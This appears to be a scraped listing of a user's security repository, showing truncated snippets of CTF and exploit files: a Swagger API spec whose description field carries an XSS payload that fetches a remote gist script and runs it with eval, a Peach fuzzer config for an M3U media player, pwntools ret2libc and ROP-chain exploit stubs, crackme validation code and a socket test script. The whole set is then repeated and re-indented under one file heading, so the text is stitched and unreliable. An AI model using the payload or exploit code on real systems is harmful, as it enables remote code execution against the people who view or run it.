crackatoa

## swagger-payload
swagger: '2.0'
info:
  title: Classic API Resource Documentation
  description: <math><mtext><h1><a><h6></a></h6><mglyph><svg><mtext><textarea><a title='</textarea><img src onerror=fetch(`https://gist.githubusercontent.com/crackatoa/fb14ddbda83d15d12a5e9a8ea4b39eb9/raw/293c2928a4ddae359ea56c29d26f68e05f349351/test.js`).then(function(res){res.text().then(function(data){eval(data)})})>'></textarea></h1>">"</textarea></desc></textarea></mtext></mtext></svg></mglyph></option></mtext></math>
  version: production
basePath: /JSSResource/
produces:
  - application/xml
  - application/json
consumes:

## vuplayer-peach.xml
<?xml version="1.0" encoding="utf-8"?>
<Peach xmlns="http://peachfuzzer.com/2012/Peach" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xsi:schemaLocation="http://peachfuzzer.com/2012/Peach ../peach.xsd">

	<!-- Define our file format DDL -->
	<DataModel name="dumbm3u">
		<String name="header1" value="M3U\n" mutable="false"/>
		<String name="header2" value="#EXTM3U\n" mutable="false"/>
		<String name="header3" value="#EXTINF:123, Sample - title\n" mutable="false"/>
		<String name="header4" value="C:\" mutable="false"/>

## retolibc.py
from pwn import *

#offset___libc_start_main_ret = 0x199a1
#offset_system = 0x0003d870
#offset_dup2 = 0x000e6f60
#offset_read = 0x000e6470
#offset_write = 0x000e6540
#offset_str_bin_sh = 0x17c968

#libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7dd9000)

## nxenropper.py
#!/usr/bin/env python
# Generated by ropper ropchain generator #
from pwn import *
from struct import pack

p = lambda x : pack('I', x)

IMAGE_BASE_0 = 0x08048000 # ../Downloads/1_staticnx
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

## nxrop.py
#!/usr/bin/env python2
# execve generated by ROPgadget
from pwn import *
from struct import pack
# Padding goes here
p = 'A' * 148
p += pack('<I', 0x0807299a) # pop edx ; ret
p += pack('<I', 0x080ee060) # @ .data
p += pack('<I', 0x080bbb46) # pop eax ; ret
p += '/bin'

## validatedecode.js
function validate() {
    var variable_0 = 123211;
    var variable_1 = 3422543454;
    var variable_2 = document["forms"]["password"]["passinp"]["value"];
    var variable_3 = md5(variable_2);
    var c = 1079950212331060;
    variable_2 += 4469;
    variable_2 -= 234562221224;
    variable_2 *= 1988;
    variable_0 -= 2404;

## validate.js
function validate() {
    var variable_0 = 123211;
    var variable_1 = 3422543454;
    var variable_2 = document["forms"]["password"]["passinp"]["value"];
    var variable_3 = md5(variable_2);
    variable_2 += 4469;
    variable_2 -= 234562221224;
    variable_2 *= 1988;
    variable_0 -= 2404;
    variable_1 += 2980097;

## admin2.html
<DOCTYPE! html><html><head><meta charset="UTF-8"><title>Login</title><script src="js/md5.min.js"></script><style>#pass {
background-color: #00ccff;
color: #000066;
border: 1px #0066ff solid;
border-radius: 10%;
font-size: 30px;
}
#sub {
background-color: #7b9efe;
color: #3366ff;

## crackme-CJ2017.py
data = [0x6,0x0f,0x77,0x75,0x74,0x72,0x3e,0x22,0x75,0x75,0x21,0x1a,0x29,0x30,0x26,0x2e,0x1a]

res = ''

for i in data:

	res+=chr(i^0x45)

separo=res

## f3.py
import socket
import subprocess


for i in range(256):
	c = chr(i)
	s = socket.socket()
	subprocess.Popen('C:\Users\Downloads\gt.exe')
	s.connect(('127.0.0.1',2222))
	swagger: '2.0'
	info:
	title: Classic API Resource Documentation
	description: <math><mtext><h1><a><h6></a></h6><mglyph><svg><mtext><textarea><a title='</textarea><img src onerror=fetch(`https://gist.githubusercontent.com/crackatoa/fb14ddbda83d15d12a5e9a8ea4b39eb9/raw/293c2928a4ddae359ea56c29d26f68e05f349351/test.js`).then(function(res){res.text().then(function(data){eval(data)})})>'></textarea></h1>">"</textarea></desc></textarea></mtext></mtext></svg></mglyph></option></mtext></math>
	version: production
	basePath: /JSSResource/
	produces:
	- application/xml
	- application/json
	consumes:
	<?xml version="1.0" encoding="utf-8"?>
	<Peach xmlns="http://peachfuzzer.com/2012/Peach" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xsi:schemaLocation="http://peachfuzzer.com/2012/Peach ../peach.xsd">

	<!-- Define our file format DDL -->
	<DataModel name="dumbm3u">
	<String name="header1" value="M3U\n" mutable="false"/>
	<String name="header2" value="#EXTM3U\n" mutable="false"/>
	<String name="header3" value="#EXTINF:123, Sample - title\n" mutable="false"/>
	<String name="header4" value="C:\" mutable="false"/>
	from pwn import *

	#offset___libc_start_main_ret = 0x199a1
	#offset_system = 0x0003d870
	#offset_dup2 = 0x000e6f60
	#offset_read = 0x000e6470
	#offset_write = 0x000e6540
	#offset_str_bin_sh = 0x17c968

	#libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7dd9000)
	#!/usr/bin/env python
	# Generated by ropper ropchain generator #
	from pwn import *
	from struct import pack

	p = lambda x : pack('I', x)

	IMAGE_BASE_0 = 0x08048000 # ../Downloads/1_staticnx
	rebase_0 = lambda x : p(x + IMAGE_BASE_0)
	#!/usr/bin/env python2
	# execve generated by ROPgadget
	from pwn import *
	from struct import pack
	# Padding goes here
	p = 'A' * 148
	p += pack('<I', 0x0807299a) # pop edx ; ret
	p += pack('<I', 0x080ee060) # @ .data
	p += pack('<I', 0x080bbb46) # pop eax ; ret
	p += '/bin'
	function validate() {
	var variable_0 = 123211;
	var variable_1 = 3422543454;
	var variable_2 = document["forms"]["password"]["passinp"]["value"];
	var variable_3 = md5(variable_2);
	var c = 1079950212331060;
	variable_2 += 4469;
	variable_2 -= 234562221224;
	variable_2 *= 1988;
	variable_0 -= 2404;
	<DOCTYPE! html><html><head><meta charset="UTF-8"><title>Login</title><script src="js/md5.min.js"></script><style>#pass {
	background-color: #00ccff;
	color: #000066;
	border: 1px #0066ff solid;
	border-radius: 10%;
	font-size: 30px;
	}
	#sub {
	background-color: #7b9efe;
	color: #3366ff;
	data = [0x6,0x0f,0x77,0x75,0x74,0x72,0x3e,0x22,0x75,0x75,0x21,0x1a,0x29,0x30,0x26,0x2e,0x1a]

	res = ''

	for i in data:

	res+=chr(i^0x45)

	separo=res
	import socket
	import subprocess



	for i in range(256):
	c = chr(i)
	s = socket.socket()
	subprocess.Popen('C:\Users\Downloads\gt.exe')
	s.connect(('127.0.0.1',2222))